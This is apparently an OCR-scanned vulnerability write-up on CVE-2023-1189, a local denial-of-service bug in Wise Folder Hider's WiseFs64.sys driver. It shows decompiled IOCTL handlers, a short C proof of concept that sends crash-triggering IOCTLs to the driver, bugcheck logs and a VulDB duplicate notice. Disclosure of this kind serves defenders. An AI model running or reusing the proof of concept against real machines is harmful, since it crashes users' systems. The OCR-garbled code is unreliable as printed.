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VULNERABILITIES

AXCVE-2023-1189 Detail
MODIFIED

This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require

amendment due to these changes.

Current Description

A vulnerability was found in WiseCleaner Wise Folder Hider 4.4.3.202. It has been declared as problematic. Affected by this vulnerability is the
function 0x222400/0x222404/0x222410 in the library WiseFs64.sys of the component loControlCode Handler. The manipulation leads to denial
of service. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The identifier VDB-222361

was assigned to this vulnerability.

QUICKINFO

CVE Dictionary Entry:
CVE-2023-1189

NVD Published Date:
03/06/2023

NVD Last Modified:
11/21/2024

Source:

VulDB
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DispatchTable[14]

dispatchDeviceControl IOCTL code
0x222400 '(

0x222404 % Your device ran into a preblem and needs 1o restart

handleControlDeviceloctl

Ox222410 restart.

100% complete

We're just collecting some error info, and then you can



Your PC ran into a problem and needs to restart. We're

just collecting some error info, and then we'll restart for
you.

20% complete

For more information about this issue and possible fixes, visit https://www.windows.com/stopcode

if you call a support person, give them this info:

Stop code: CRITICAL PROCESS DIED



switch ( LowPart )
{
case ©x222400u:
*&Buffer->Type = 222;
irp->IoStatus.Information = 4LL;
break;
case ©0x222404u:
qword_140006318 = *&Buffer->Type;
break;
case ©x222408u:
if ( !Buffer || Options < ©x19 || *&Buffer->Type != Options || Information != 8 )
goto LABEL_12;
v4 = sub_1400034A0(Buffer);
if (v4 >=0 )
irp->IoStatus.Information = 8LL;
break;
case ©9x22240Cu:
if ( !Buffer || Options < @ex19 || *&Buffer->Type != Options )
goto LABEL_12;
v4 = sub_14e0038Fe(Buffer);
break;
case 9x222416u:
v4 = sub_1400036D0( *&Buffer->Type, irp, Options);
break;
case ©x222414u:
v4 = sub_1400039E@(Buffer);
irp->IoStatus.Information = ByteOffset.LowPart;
break;
default:
goto LABEL_69;



v10 = v7 - 0x222400;

if ( lvie ) //
{
if ( MasterIrp && v9 == 4 )
{
*&MasterIrp->Type = 434;
vb = 0;

a2->IoStatus. Information = 4;
goto LABEL_59;

L
goto LABEL_38;

}
vll = vle - 4;

if ( Ivil) 1/

{
qword 140007388 = *&MasterIrp->Type;
goto LABEL_59;

}
vli2 = vl1l - 4;

if (v12) //

{
vl3 = vl12 - 4;

i'F ( vl3 ) I‘f"lf

{
vld = v13 - 4;

if ( Vl‘d— ) ‘."r‘:".

{

if (vid4 ==4) //

{
v6 = sub_140002DE4(Masterlrp, &v22, vl4,
a2->IoStatus.Information = v22;

}

goto LABEL_59;

3
vl5 = (sub_140003BB4) (*&MasterIrp->Type, v9,

0x222400

0x222404

Ox222408

Ox22240C

0x222410
0x222414

v8);

vl4d, v8);




v1e = v7 - 9x222400;

if ( vie ) // 0x222400
{
if ( MasterIrp && v9 == 4 )
{
*&Masterlrp->Type = 434;
vb = 0;

a2->IoStatus. Information = 4;
goto LABEL_59;

L
goto LABEL_38;

}
vlil = vl® - 4;

if ( Ivil) /] ©x222404
{
qword_1400807388 = *&MasterIrp->Type;
goto LABEL_59;
}
vl2 = vll - 4;
if ((v12) /] 9x222408
{
vl3 = vl12 - 4;
if ((v13) // @x22240C
{
vld = v13 - 4;
if (via) // 0x222410
{
if ((vld == 4 ) // ©x222414
{

v6 = sub_140002DE4(MasterIrp, &v22, vl4, v8);
a2->IoStatus.Information = v22;

}

goto LABEL_59;

3
vl5 = (sub_140003BB4) (*&MasterIrp->Type, v9, vl14, v8);



v1e = v7 - 9x222400;

if ( vie ) /] 8x222400
i
if ( MasterIrp && v9 == 4 )
{
*&Masterlrp->Type = 434;
vb = 9; N
a2->IoStatus. Information = 4; e
goto LABEL_59;
¥
goto LABEL_38;
}
vll = vie - 4;
if ( Ivil) // 0x222404
{
qword_1400807388 = *&MasterIrp->Type; \
goto LABEL_59; 7
}
vi2 = vll - 4;
if ((v12) // 0x222408
{
vl3 = vl2 - 4;
if (v13) // 0x22240C
{
vld = v13 - 4;
if (via) // 8x222410
{
if ((vld == 4 ) // ©x222414
{
v6 = sub_140002DE4(MasterIrp, &v22, vl4, v8);
a2->IoStatus.Information = v22;
}
goto LABEL_59;
1
|v15 = (sub_140003BB4)(*&MasterIrp->Type, v9, v14, v8); | .
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o000

#include <stdio.h>

#include <Windows.h>

#include <winioctl.h>

#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;

int main(int argc, char* argv[]) {
DWORD dwhWrite = 0;

hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, ©, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {

printf("failed to CreateFile\n");

return 1; o000
}
#include <stdio.h>
// case 0x222400 #include <Windows.h>
// DeviceloControl(hDevice, 0x222400, NULL, ®, NULL, @, &dwWrite, NULL); #include <winioctl.h>
// case 0x222404 #define SymLinkName L"\\\\.\\WiseFS"

// DeviceloControl(hDevice, 0x222404, NULL, ®, NULL, ©, &dwWrite, NULL);

HANDLE hDevice;
// case 0x222410

// DeviceloControl(hDevice, 0x222410, NULL, 0, NULL, @, &dwWrite, NULL); int main(int argc, char* argv[]) {

DWORD dwWrite = 0;
CloseHandle(hDevice);

return 8; hDevice = CreateFile(SymLinkName, GENERIC_READ | GENERIC_WRITE, O, NULL, 3, 4, NULL);

if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;

]

// case 0x222404
// DeviceloControl(hDevice, 0x222404, NULL, @, NULL, 0@, &dwWrite, NULL);

// case 0x222410
// DeviceloControl(hDevice, 0x222410, NULL, @, NULL, ®, &dwWrite, NULL);

return 0;




KDTARGET: Refreshing KD connection
*¥** Fatal System Error: 9x0000003b
(0x00000000C000L005 , OxFFFFF8063E9213F2,0xFFFF948D8CDC6C80O, 0x0000000000000000 )

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

KDTARGET: Refreshing KD connection
*¥*¥* Fatal System Error: ©x0000003b
(©x000000008C0000V0OS5 , 0XFFFFF8066E1E137B,0xFFFFFEOACEOEACE0, 0x0000000000000000 )

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
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VulDB Support Team <support@vuldb.com> 20254 128 142 (Y)PMT:45 K @ €
Lol A| ~

Dear leOs1mba,
You have submitted a new vulnerability item to be reviewed:
* Submit #704246

* Title: WiseCleaner Wise Folder Hider 5.0.9.239 Denial of Service
* Disclosure: https://le0s1mba.notion.site/Wise-Folder-Hider-5-0-9-239-2bcbdb69198e8049b681cfcc7da8e48f

Our team did review your submission and identified it as an already known vulnerability. This is not eligible for a new entry and therefore merged it into this existing entry:

* https://vuldb.com/?id.222361

Take a look at the following articles to understand how we handle duplicates and when we merge entries:

* https://vuldb.com/?kb.splitting

You may still enhance the existing entry or commit further changes with the edit feature:

* hitps://vuldb.com/?edit.222361

Please always use the search feature and confirm with other sources to prevent duplicate submissions in the future as large quantities of weak submissions might lead to
limitation of your submit capabilities:

* hitps://vuldb.com/?kb.weaksubmission

Thank you for your participation. We hope to see more of your submissions in the future.

Your VulDB Moderation Team




Smeit info edit

Accepted
o Submit #96004: Wise Folder Hider, WiseFs64.sys, DoS (by Zeze7w)
Duplicate

e Submit #704246: WiseCleaner Wise Folder Hider 5.0.9.239 Denial of Service (by le0s1mba)






